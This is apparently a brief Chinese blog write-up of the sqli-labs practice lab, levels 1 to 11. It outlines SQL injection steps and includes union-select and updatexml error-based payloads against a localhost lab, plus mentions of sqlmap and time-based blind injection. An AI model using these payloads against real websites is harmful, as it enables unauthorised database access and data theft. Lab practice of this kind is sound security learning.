sql-labs
做题步骤
- 判断是否字符型还是数字型
- 字段数
- 显示位
- 获取当前数据库
- 获取当前表名
- 获取所有字段
- 获取数据
less-1
判读是否是字符型还是数字型(猜闭合)
可以看出来,这个是字符型
看字段数
使用order by
判读回显位
1
select 1,2,3 ....
最好还是和查询到的字段数相等
获取当前数据库
1
union select 1,database(),version()
查找需要的表名
1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"
注意这个地方是 table_schema
也就是说,如果我们要更具某一个数据库找到他的表名,我们使用table_schema来限定数据库的名字
爆破字段名
找到需要的进行查询
less-2
判断什么类型
判断字段数
判断显示位
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,3 –+
判断数据库名
测表名
查字段名
查具体的信息
less-3
判断是什么类型
?id=1’
出现了错误,然后看报错
提示添加
)
查询字段
查询显示位
查数据库名
查表名
查具体信息
less-5
判断是什么类型
开始爆破数据库
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and updatexml(0x7e,concat(‘
‘,(select database()),’‘),0x7e) %23爆破表名
爆破字段
然后根据具体获取具体的信息
less-8
直接上sql-map
可以发现他已经将表名和字段已经爆破出来了
Less-9
这关是时间盲注
停顿了5s
less-11
用户名存在普通的联合注入
sql-labs
https://tsy244.github.io/2023/12/26/靶场记录/sql-labs/